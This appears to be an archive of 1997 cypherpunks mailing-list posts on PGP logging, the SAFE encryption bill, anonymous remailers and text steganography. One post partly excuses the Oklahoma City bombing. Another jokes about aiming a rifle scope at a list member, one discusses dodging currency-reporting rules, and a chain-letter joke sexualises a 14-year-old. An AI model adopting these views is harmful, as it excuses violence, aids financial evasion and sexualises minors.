Message-ID: <337C13AC.6F5C@best.com>
MIME-Version: 1.0
Content-Type: text/plain


... This is from the log file that pgp keeps on my machine,
\WINDOWS\PGPWS_32.LOG.

There appears to be a lot of interesting information here:
 -- I did not encrypt with IDEA only
 -- the recipients of the message I sent are shown along with the public
key IDs
 -- The SIZE of the message!

I have obfuscated some of the details from the actual log.  The "?"s
indicate removed details.

=========== LOG: ============

Passphrase from caller = FALSE |
if (SignIt && IDEAOnly && IDEAPassphrase && IDEAPassphrase[0] != '\0') |
IDEA Passphrase from caller = FALSE |
if (PublicKeyRingName && PublicKeyRingName[0] != '\0') |
PublicKeyRingName string pointer is NULL or
PublicKeyRingName is an empty string.
Using default public keyring name. |
if (PrivateKeyRingName && PrivateKeyRingName[0] != '\0') |
PrivateKeyRingName string pointer is NULL or
PrivateKeyRingName is an empty string.
Using default private keyring name. |
Recipient List: |
Key ID: 0x???????? |
PGP Options String
eat |
Encrypt Buffer
Message |
PGP Options Parm: eat |
MyNameParm:  |
Keyring Name Parm:  |
File name for encrypt, sign, and/or armor:
InputBufferLength = ?????? |
Found without enough validating sigs:1 |
Key for user ID:Remail <???@???.???> |
  Additional ID:Remailer <???@???.???> |
bit size:1024 Key ID:????????created:12/13/1992 |
Warning:  Because this public key is not certified with a trusted
signature, it is not known with high confidence that this public key
actually belongs to:Remail <???@???.???>
Are you sure you want to use this public key? |
User Replied: Yes |
Open Data Out;
Output Buffer |
OutputBufferLength = ?????? |
OutputDataLength = ?????? |
Transport armor file:  |
Kernel return value is: 0 |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 16 May 1997 13:46:00 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE vote and cutting crypto-deals, report from House Judiciary
Message-ID: <Pine.LNX.3.95.970516012132.30930A-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 15 May 1997 19:51:28 -0700
From: Lee Tien <tien@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Re: SAFE vote and cutting crypto-deals, report from House Judiciary

Thanks to Barry Steinhardt for his comments, especially his saying that:

>The language was an improvement , but it doesn't belong in the bill and we
>are still lobbying to have the criminalization provision removed.
>
>All of us in the cyber liberties community need to watch this legislation
>very carefully. It could easily get much worse as a "compromise" is reached
>with the Administration. In the end,the bill could be laden with amendments
>on issues like key recovery that defeat our purpose of making strong and
>secure encryption generally available.
>
>At some point, we may need to say that no bill is better than a bad bill.

This is a crucial point.  This isn't an exercise in back-patting, in doling
out kudos.  This struggle engages a stubborn and devious foe.

I also thought Michael Sims was on target in pointing out that Safdar's
criticism of Declan were basically arguments from authority.  Speaking only
for myself, it's not enough to look at who's for and who's against.

The Administration likes to say, trust us, we know what's best.  We should
say the emperor has no clothes if it's true.

Some supporters of these bills seem to respond to substantive criticisms
with comments about loyalty or solidarity.  What's wrong with robust, open
debate about substance?

I don't assume that those on the "inside" have better knowledge or
understanding of the law.  If they're going to defend the bills on the
merits, they should explain the merits.

I don't assume that everyone agrees on what the bills should say.  Some
might think that some "willful use of encryption" provision is consistent
with civil liberties.  (Personally, I don't and I'm glad to see Barry feels
the same way.) But my point is, let's be clear whether we're disagreeing
about values or political tactics.  Is a compromise acceptable because, all
things considered, it's the best we can do, or because we actually agree on
the merits?

Finally, I do believe that the insiders better understand the political
need for compromise.  But I'd like to be educated about it.  In particular,
I'd like to understand why the President wouldn't veto any bill he doesn't
completely agree with.  Unless there's something veto-proof out there, or
some other bargaining chip, why wouldn't he veto it?

Lee







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Fri, 16 May 1997 08:39:26 +0800
To: cyber@ibpinc.com
Subject: Re: FW: Anonymous Remailers
In-Reply-To: <01BC611B.8CD67F10@pc1901.ibpinc.com>
Message-ID: <m0wSA7k-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


"Roger J. Jones" <cyber@ibpinc.com> writes:

> So, chaining does not seem to be a secure solution.  It just makes
> the process more difficult, but not impossible.

> The non-existance of "agents" who would operate a remailer for
> purposes other than protecting security can not be proven.

Run your own remailer. Tell your friends to run their own remailers.
Use one or more of those somewhere in the chain, then you *know* your
messages are secure. The software can be found at
ftp://ftp.replay.com/pub/replay/pub/remailer

> I still seem to be missing something.........  

You may want to read the paper "Untraceable Electronic Mail, Return
Addresses, and Digital Pseudonyms" by David Chaum (CACM, 2/1981).
It is available at http://world.std.com/~franl/crypto/chaum-acm-1981.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Stokely Boast <stokely@beacondesign.com>
Date: Fri, 16 May 1997 14:20:50 +0800
To: Adam Philipp <adam@rosa.com>
Subject: Re: Telnet Anonymous
In-Reply-To: <3.0.1.32.19970512230937.00a871f0@mail.infonex.com>
Message-ID: <Pine.GSO.3.96.970516001835.16182A-100000@shell2.shore.net>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 12 May 1997, Adam Philipp wrote:

> At 08:34 AM 5/12/97 -0500, harka@nycmetro.com wrote:
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >E-Mail...NYM-Servers
> >WWW...Anonymizer
> >Telnet...??
> >
> >How does one telnet anonymously to another system, assuming that
> >one's home system has identd?
> >
> >Thanks already in advance...
> 
> Did you look at getting an anonymous account at cyberpass.net? 
> 
> Try http://www.cyberpass.net
> 
> Note, they tend to be strict about not using it for illegal activity, but
> highly supportive for general anonymous use.
> 
> Then again you could set up some type of applet scheme, but I doubt anyone
> would be willing to keep it active. 
> 

As you say, Cyberpass clearly states that they are strict about not
allowing illegal activities.  They also state that they keep logs of
incoming telnet host information and will turn it over if an account is
used for anything illegal. 

I am not sure what kind of applet scheme you have in mind.

It seems to me that anonymous remailers and anonymous telnet services are
very similar.  The major difference is that latency (natural and
otherwise) can be used in remailers in order to help foil traffic
analysis, but would render an anonymous telnet service useless. 

With sufficient bandwidth an anonymous telnet service could chop up
packets and send them through other services in order to further obscure
the matter.  Something like what Mix does?

Has this been discussed on the list before, and if so, is anyone working
on something like this?

Perhaps the best that could be done at this point would be more along the
lines of obscurity than of anonymity.  

-------------------------------------------------------------------------
Stokely Boast                                    stokely@beacondesign.com
Client/Server and RDBMS Consulting                Beacon Design Group Inc
PGP Id/Print: 5FD48D11 / B2 49 6C 7D 18 AC CA FB  0E 17 E5 97 6C 11 6C E7
-------------------------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 16 May 1997 17:38:16 +0800
To: cypherpunks@toad.com
Subject: TEXTO - Text steganography
Message-ID: <199705160908.CAA03291@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


------------------------------------
   TEXTO - Text steganography
------------------------------------

   Texto is a rudimentary text steganography program which transforms
uuencoded or pgp ascii-armoured ascii data into English sentences.

   Texto text files look like something between mad libs and bad poetry,
(although they do sometimes contain deep cosmic truths) and should be
close
enough to normal english to get past simple-minded mail scanners and to
entertain readers of talk.bizarre.
-------------

  Perhaphs this explains why, when I tried it, it signed Paul Bradley's
name to the output.

_Mr._ Nobody to _you_, pal.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 16 May 1997 16:58:02 +0800
To: cypherpunks@toad.com
Subject: Re: I Treat All My Enemies Equally
Message-ID: <199705160833.CAA27181@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Blanc, taking on the million monkeys repeatedly typing,
"Is too!"--"Is Not!", wrote:
 
>  I was thinking about those who have expressed a lack of concern for
> the unfortunate mixture of the guilty & innocent in a close encounter with
> a destructive device.   I was thinking that people who  aren't careful
> about such differences make of themselves an enemy to all, because who can
> tell what they're supporting and whose lives they really value, since
> anyone at all could become their victim.

  What I see being expressed is not so much a lack of concern for
those caught up unwittingly in the war between the government and
its citizens as it is a debate over the comparative level of guilt
or responsibility that the warring factions should bear for the
end results of their actions.
  There has also been some debate as to the right of an individual
to make decisions which will affect the lives of those who will be
involved only by happenstance.

  Blanc brings up an excellent point; namely, that those who choose
to take drastic action risk striking out randomly and maliciously at
everybody if they do not consider the nature of their target and
the amount of risk to peripheral participants in the event.
  From all accounts, McVeigh's actions were purposeful and directed
at a target which he deemed suited to his purpose. Whether one
agrees or disagrees with the perceived "innocent" body count will
probably play a large amount in their support or non-support of
his actions.

>  The fact of the matter is that those in the
> middle must find a way to protect themselves from whatever weapon or
> vehicle of destruction comes around, whatever its source.

  This is the way it is in all conflicts. Part of the current reason
for the widespread disillusionment with government and the resulting
animosity towards our rulers is the fact that those in the middle of
the government's war on freedom and privacy don't see themselves as
being involved in a war until it affects them personally.
  When those in the middle have their lives affected by those who
take countermeasures against the government, then their view of his
actions will be affected by whether or not they have had their car
confiscated for possession of a single joint, or whether or not they
are facing imprisonment for plugging a parking meter.
  Some of those who lost loved ones in the OKC bombing are involved
in fighting the government to have a *real* investigation into what
happened. No doubt some of them will come out of the whole process
with much more disgust for the government than for McVeigh.

> So, for instance, if Whitfield Diffie and PhilZ were walking into a Federal
> building in OK City, and I saw some cypherpunk not too far away getting
> ready to blow it up, well, I guess I'd have to kill him.   (Dirty Harry
> saying:  "feel lucky today, cpunk?").

  It's good to see that you've given this some thought. It is important
to personalize one's thoughts and actions in order to keep from getting
caught up in the mass-hysteria that surrounds such issues.
  History has recorded many instances of people who had to decide if
they
could attack a building that contained friends, compatriots, or loved
ones in furtherance of their purpose. (Or make the decision to place
themself inside an area targeted by their own cause.)
  While I would defend McVeigh from those who dismiss his actions out of
hand, with no thought of the culpability of the government and the
average citizen, I downloaded pictures of some of the children who were
maimed by the OKC bombing and I use them to avoid forgetting that there
is personal tragedy involved in such an action.

  The fact remains that the more the government violates the freedom
and privacy of their citizens, then the more the citizens will strike
back in their own chosen way.
  The final tragedy of the OKC bombing is the lack of reckoning demanded
by the citizens of their government for the growing disdain of the
rights
of the citizens that has led to so many feeling disenfranchised by their
rulers.
  Nobody is voting for disenfranchisement; nobody is voting to have
their
privacy invaded and their freedom violated; nobody is voting to have the
government take their money and enrich those in power. Yet still, the
onslaught of government control and intrusion into every area of our
lives continues.

  Blanc makes some excellent points about the average citizen being
caught in a ping-pong crossfire in the conflict between government
and anti-government forces. However, as I said, this is in the nature
of conflict and the citizen's best option may be to make a daily 
effort to resist the government oppression, no matter how small it
may seem in any instance.
  To borrow an analogy from another thread, if the government spams
enough cypherpunks with a few Kilobytes here and there, they will
eventually raise the ire of a Rick Osborne enough that he will
send them back a few Gigabytes in return. And if Ross Wright's
computer gets caught in the crossfire...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 16 May 1997 15:06:38 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymous Remailers
Message-ID: <199705160648.CAA28895@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:

> Lucky, since I am considered contemptible by several c'punks, I worry
> about them more than I would about foreign intelligence agents.

  Not contemptible, just an easy target to be used for sighting
one's scope in preparation for attending to more sophisticated
targets.
  I find many of your canned-brain arguments hilarious but they
do seem useful for fodder for aspiring anarchists to use as a
foil for their development.

Anonymous Coward (Noel's older brother.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Fri, 16 May 1997 17:35:55 +0800
To: TruthMonger <cypherpunks@toad.com
Subject: Re: I Treat All My Enemies Equally
In-Reply-To: <199705160833.CAA27181@wombat.sk.sympatico.ca>
Message-ID: <3.0.1.32.19970516050700.00a6a100@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


Someone anonymous, claiming to be TruthMonger, wrote:

>To borrow an analogy from another thread, if the government spams
>enough cypherpunks with a few Kilobytes here and there, they will
>eventually raise the ire of a Rick Osborne enough that he will
>send them back a few Gigabytes in return. And if Ross Wright's
>computer gets caught in the crossfire...

Now, if you had used anyone but Ross in that example, I might have agreed
with your point.  ;)  [[[ Seriously though, before it begins to seem as
thought I have a personal vendetta against Mr Wright, I shall put it to
rest with an emphatic *I do not*.  I like to think I'm mature enough to
separate my opionion of a person from my opinion of their opinions. ]]]

TruthMonger does bring up a good point, though, again proving that I am
indeed a self-centered asshole.  In all of the glorious "Go Internet! Down
with the evil spam!" hype lately, I'd forgotten that point A to point B
isn't a straight line.  To send a GB or so across to, for example, Sanford,
it might indeed traipse across Ross' server, for which I'm sure Ross would
curse my name thoroughly.  Hmm... this means I need to figure something
else out ... I really should go and cancel that pamphlet drop ...
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"And my middle name used to be helping people, The 'helping people'
Tick."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 16 May 1997 17:41:21 +0800
To: cypherpunks@toad.com
Subject: Essential Legislation Passes!!!
Message-ID: <199705160915.FAA02530@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Subject: Sampler: May 16
  Date: Fri, 16 May 97 00:30:02 PDT
  From: sampler-request@lmboyd.com

 Do your dentures, if any, have your social security
number marked on them? Three states, at last report,
required that by law. Montana, Illinois and Minnesota.

ToothMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 16 May 1997 21:26:23 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymous Remailers
In-Reply-To: <199705160648.CAA28895@dhp.com>
Message-ID: <wDNs7D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


lucifer@dhp.com (lucifer Anonymous Remailer) writes:

> Kent Crispin wrote:
>
> > Lucky, since I am considered contemptible by several c'punks, I worry
> > about them more than I would about foreign intelligence agents.
>
>   Not contemptible, just an easy target to be used for sighting
> one's scope in preparation for attending to more sophisticated
> targets.
>   I find many of your canned-brain arguments hilarious but they
> do seem useful for fodder for aspiring anarchists to use as a
> foil for their development.

Why care?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 16 May 1997 22:41:58 +0800
To: Lucky Green <cypherpunks@cyberpass.net
Subject: Re: Reporting threshold for NY money transfers lowered
In-Reply-To: <3.0.32.19970515220728.0074f42c@netcom13.netcom.com>
Message-ID: <v03007807afa21aa8f750@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:12 PM -0700 5/15/97, Lucky Green wrote:
>At 05:30 PM 5/15/97 -0700, Steve Schear wrote:
>>Smaller operators
>>could deposit the funds in their demand deposit accounts or sell to
>>Aggregators who would offer to take any CTR related heat.
>
>I believe the term is "smurfing".

I believe the proper term is jobber.  Don't help the gubbermint assign new
'biased' terms (mediaspeak) to those which are well established.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 16 May 1997 21:08:04 +0800
To: geeman <geeman@best.com>
Subject: Re: PGPMail keets tabs on you!
In-Reply-To: <337C13AC.6F5C@best.com>
Message-ID: <199705161254.HAA18130@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <337C13AC.6F5C@best.com>, on 05/16/97 at 01:58 AM,
   geeman <geeman@best.com> said:


>... This is from the log file that pgp keeps on my machine,
>\WINDOWS\PGPWS_32.LOG.

>There appears to be a lot of interesting information here:
> -- I did not encrypt with IDEA only
> -- the recipients of the message I sent are shown along with the public
>key IDs
> -- The SIZE of the message!

>I have obfuscated some of the details from the actual log.  The "?"s
>indicate removed details.

I looked over the log details the you provided and this is rather odd.


I am currently working on some logging features for my next release of
E-Secure. The purpose of this is to aid the user with keyring management. I
plan on keeping the log files encrypted and having this a user selectable
option (the user can turn logging off if he wishes). The contents of the
PGPWS_32.LOG seems to go beyond what would be need for this purpose though.

I'll have to boot into NT (yech) and take a look at what it is doing.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: The Gates of hell.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3xnzo9Co1n+aLhhAQEL+QQAsO3V9OU0lyM8QXtf7QA8ivzBXV8pFOjM
6mMlDgximk3m7uwCFEReD23AXBAGsqdzYg0XwYvOIy9DWo1l6TuhtpGeWI1up3Jr
uBdB6V7jYu7sBdiRlnhori2hOEA9MZB4JM042aJIyl/x8VtGE3zlGzrNhpcidQBe
defxvL95lRg=
=Y/MQ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 16 May 1997 21:42:04 +0800
To: Tim May <tcmay@got.net>
Subject: Re: MSNBC poll on crypto
In-Reply-To: <v03007806afa1921a6fd1@[207.167.93.63]>
Message-ID: <199705161321.IAA18479@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007806afa1921a6fd1@[207.167.93.63]>, on 05/15/97 at 10:32 PM,
   Tim May <tcmay@got.net> said:


>At 5:55 PM -0800 5/15/97, Declan McCullagh wrote:
>>Should the United States
>>       remove restrictions on
>>       the export of powerful
>>       encryption technology?
>>
>>       * 283 responses
>>
>>       Unequivocally yes (84.1%)

>You left out the very next question:

>Should the United States allow unbreakable, military-grade cryptography to
>be used undetectably by child pornographers, terrorists, and money
>launderers?

>         * 283 responses

>         Unequivocally "No" (93.4%)


>You see, it all depends on how the question is asked. I have long argued
>that Americans are split, simultaneously, between two opposing world
>views:

>"What have you got to hide?"

>and

>"None of your damned business."

>Depending on the issue, or how the issue is phrased, either view may
>surface.

>I certainly don't trust opinion polls. If MSNBC conducts a similar poll
>after an Oklahoma City type of event, which we all have reason to suspect
>is about to happen in the next six or seven months, and crypto is found to
>be involved (seems likely), we can expect an opinion poll which arrives at
>the "What have they got to hide" conclusion.

>So?

>--Tim May


Well this is exactly why the Founding Fathers set up the form of government
that they did rather than going with a "pure" democracy. The intent was to
insolate the governing process from the lynch mob mentality. This is
doublely so with the Bill of Rights and the Amendment process. They are
there to provide a break on the "mob" and give time to reflect on the long
term consequences of perprosed actions.

Unfortunatly all 3 branches of government have desided that they nolonger
need to abide by the laws spelled out in the Constitution solong as it
politically expediant.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Walk through doors, don't crawl through Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3xuMI9Co1n+aLhhAQGJXQP/XkR6VoCtsFnduuXBfqktMM9a6iZG0AhU
pdEaqt4k/k+wNjogT6P1pkV1+Tb0V2TH7No94QjnWPTZmrqfwM6UmN6aqzaQeoIj
nQh/yaNFcLsB7GNX6Gcye94grHKBIziA2/9HzIIFiIisFt8ffyiwUGcnmsoEpWyS
5vnM6u5EhU8=
=EWl0
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 17 May 1997 00:07:17 +0800
To: cypherpunks@algebra.com
Subject: Re: Anonymous Remailers
In-Reply-To: <19970515192926.34411@bywater.songbird.com>
Message-ID: <19970516084846.60052@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 16, 1997 at 12:34:33PM +0200, Ulf Möller wrote:
> > Hmm.  I did read, and I thought I understood this.  I claim that if
> > the remailers collude, then there in no anonymity.  Correct?
> 
> Correct.
> 
> > Even if I insert my own remailer in the list it doesn't help, if the
> > others are all in cahoots.  This seems pretty obvious.  They all
> > compare logs, and saved copies of the messages, and my message can
> > be tracked from beginning to end.  Right?
> 
> Wrong. One trusted mix is enough to guarantee anonymity: There is a
> large number of fixed-size messages coming in and a large number of
> messages going out in random order.  (Consult the archives for
> information about possible attacks, such as flooding a remailer with
> dummy messages, and how to detect/prevent them.)

"Guarantee" is a strong word, wouldn't you say? Simple case: you have
two messages; one you know I wrote, the other I didn't, you don't know
which.  You could say that is "anonymity".  That's a reasonable use 
of the term.  But it wouldn't make me feel secure.  So that boils 
down to what is a "large" number.  (I confess I *haven't* read the 
archives about flooding attacks.  However, I don't see how they could 
be guarded against if *all* the other remailers are in collusion.  
But perhaps that case has been considered...)

> > I see a list of remailers posted on cypherpunks periodically -- a
> > "cypherpunks" approved list, therefore.  Lucky Green admits publically
> > that he personally knows several of the remailer operators.
> 
> So you say Raph actually *is* part of the cypherpunk conspirary??!

Of course.  I don't know Raph from Adam -- *I* just see a list posted
on cypherpunks.  For that matter, of course, you could be Tim May, as
are all the "(T)ruth (M)ongers", and many other of the "personalities"
on this list... 

> BTW, that list is the "list of reliable remailers", not the "list of
> cypherpunk approved remailers".  Now guess how a remailer qualifies to
> be listed.

J E Hoover certified them?  If I persist in my conspiracy theory, 
then it makes absolutely no difference how they qualify -- the list 
is just text produced by the cp conspiracy, after all, creatively 
edited to make it look legit.

But seriously, I thought it was buy sending "ping" messages through 
them -- is there something more to it?

> > And clearly, remailer operators must share a common ideological
> > focus...
> 
> Remailer operators share the belief that it must be possible to use
> the net anonymously, without leaving traces.  Is that what you mean?
> 
> PS: Did you know that one remailer operator formerly was a soldier in
> East Germany's National People's Army?

How do you know that?  And why should I believe you?

Anyway, Ulf, as I said in my previous message, this was all started by
me poking fun of my "contemptible" status among the cyphperpunks. 
That status is partially fueled by the fact that I work for that evil
conspiracy, the "government".  (In all honesty, I must confess that it
may also be partially fueled by various failings of my own.)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 17 May 1997 00:56:03 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymous Remailers
In-Reply-To: <19970515192926.34411@bywater.songbird.com>
Message-ID: <19970516091303.36502@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


	On Fri, May 16, 1997 at 10:27:19AM +0100, Adam Back wrote:
> 
> Kent Crispin <kent@songbird.com> writes:
> > [about remailers]
> > Hmm.  I did read, and I thought I understood this.  I claim that if
> > the remailers collude, then there in no anonymity.  Correct? Even if I
> > insert my own remailer in the list it doesn't help, if the others are
> > all in cahoots.  This seems pretty obvious.  They all compare logs, 
> > and saved copies of the messages, and my message can be tracked from 
> > beginning to end.  Right?
> 
> Not entirely.
> 
> If other people use your remailer also, and you have latency, they'll
> see n messages going into your remailer, and n come out.  There will
> be log2(n) entropy added, they won't know which of those are from you
> and which from the other users.
> 
> Flooding attacks might make the situation worse, say you wonder if all
> of the messages apart from your own are from the attackers, and that
> the purpose of these messages is to flush your message out of the
> mixing pool.

And of course, in some environments running a remailer would be highly 
suspicious -- even more so if it is a *public* remailer.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Sat, 17 May 1997 00:56:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: your mail
Message-ID: <199705161623.JAA20657@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


Subject: "Liten rolig historia (fwd)" (fwd)


Nothing wrong in being superstitious...

 > > READ THIS MESSAGE AND PASS IT ON....
 > > A man takes the day off work and decides to go out golfing.  He is
 > > on the second hole when he notices a frog sitting next to the green.
 > > He  thinks nothing of it and is about to shoot when he hears,
 > > "Ribbit. 9 Iron"  The man looks around and doesn't see anyone.
 > > "Ribbit. 9 Iron." He looks at  the frog and decides to prove the
 > > frog wrong, puts his other club away, and  grabs a 9 iron. Boom! he
 > > hits it 10 inches from the cup. He is shocked. He  says to the frog,
 > > "Wow that's amazing. You must be a lucky frog, eh?" The frog reply's
 > > "Ribbit. Lucky frog." The man decides  to take the frog with him to
 > > the next hole. "What do you think frog?" the  man asks. "Ribbit. 3
 > > wood."  The guy takes out a 3 wood and Boom! Hole in one. The man is
 > > befuddled and doesn't know what to say. By the end of the day, the
 > > man golfed the best game of golf in his life and asks the frog,"OK
 > > where to next?" The frog replied, "Ribbit. Las Vegas." They go to
 > > Las Vegas and the guy says, "OK frog, now what?"  The frog says,
 > > "Ribbit Roulette." Upon approaching the roulette table, the man
 > > asks," What do you think I should bet?" The frog replies, "Ribbit.
 > > $3000,black 6." Now, this is a million-to-one shot to win, but after
 > > the golf game, the man figures what the heck. Boom! Tons of cash
 > > comes sliding back across the table. The man takes his winnings and
 > > buys the best room in the hotel.  He sits the frog down and says,
 > > "Frog, I don't know how to repay you.  You've won me all this  money
 > > and I am forever grateful." The frog replies, "Ribbit, Kiss Me." He
 > > figures why not, since after all the frog did for him he deserves
 > > it. With a  kiss, the frog turns into a gorgeous 14-year-old girl.
 > > "And that, your honor, is how the girl ended up in my room."
 > >
 > > The origination of this letter is unknown, but it  brings good
 > > luck to everyone who passes it on.  The one who breaks the chain
 > > will have bad luck.  Do not keep this letter.  Do not send money.
 > > Just forward it to five of your friends to whom you wish good luck.
 > > You will see that something good happens to you four days from now
 > > if the chain is not broken.  You will receive good luck in four
 > > days.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Sat, 17 May 1997 02:19:09 +0800
To: cypherpunks@toad.com
Subject: Re: your mail
Message-ID: <199705161633.JAA20790@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


Subject: "Liten rolig historia (fwd)" (fwd)


Nothing wrong in being superstitious...

 > > READ THIS MESSAGE AND PASS IT ON....
 > > A man takes the day off work and decides to go out golfing.  He is
 > > on the second hole when he notices a frog sitting next to the green.
 > > He  thinks nothing of it and is about to shoot when he hears,
 > > "Ribbit. 9 Iron"  The man looks around and doesn't see anyone.
 > > "Ribbit. 9 Iron." He looks at  the frog and decides to prove the
 > > frog wrong, puts his other club away, and  grabs a 9 iron. Boom! he
 > > hits it 10 inches from the cup. He is shocked. He  says to the frog,
 > > "Wow that's amazing. You must be a lucky frog, eh?" The frog reply's
 > > "Ribbit. Lucky frog." The man decides  to take the frog with him to
 > > the next hole. "What do you think frog?" the  man asks. "Ribbit. 3
 > > wood."  The guy takes out a 3 wood and Boom! Hole in one. The man is
 > > befuddled and doesn't know what to say. By the end of the day, the
 > > man golfed the best game of golf in his life and asks the frog,"OK
 > > where to next?" The frog replied, "Ribbit. Las Vegas." They go to
 > > Las Vegas and the guy says, "OK frog, now what?"  The frog says,
 > > "Ribbit Roulette." Upon approaching the roulette table, the man
 > > asks," What do you think I should bet?" The frog replies, "Ribbit.
 > > $3000,black 6." Now, this is a million-to-one shot to win, but after
 > > the golf game, the man figures what the heck. Boom! Tons of cash
 > > comes sliding back across the table. The man takes his winnings and
 > > buys the best room in the hotel.  He sits the frog down and says,
 > > "Frog, I don't know how to repay you.  You've won me all this  money
 > > and I am forever grateful." The frog replies, "Ribbit, Kiss Me." He
 > > figures why not, since after all the frog did for him he deserves
 > > it. With a  kiss, the frog turns into a gorgeous 14-year-old girl.
 > > "And that, your honor, is how the girl ended up in my room."
 > >
 > > The origination of this letter is unknown, but it  brings good
 > > luck to everyone who passes it on.  The one who breaks the chain
 > > will have bad luck.  Do not keep this letter.  Do not send money.
 > > Just forward it to five of your friends to whom you wish good luck.
 > > You will see that something good happens to you four days from now
 > > if the chain is not broken.  You will receive good luck in four
 > > days.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 16 May 1997 22:36:24 +0800
To: cypherpunks@algebra.com
Subject: eternity-lite & cancel msgs
Message-ID: <199705160845.JAA00241@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



One issue with the system is that censors will issue cancel messages
for the articles.  Not too much which can be done about this.  Some
trends tend to help this problem:

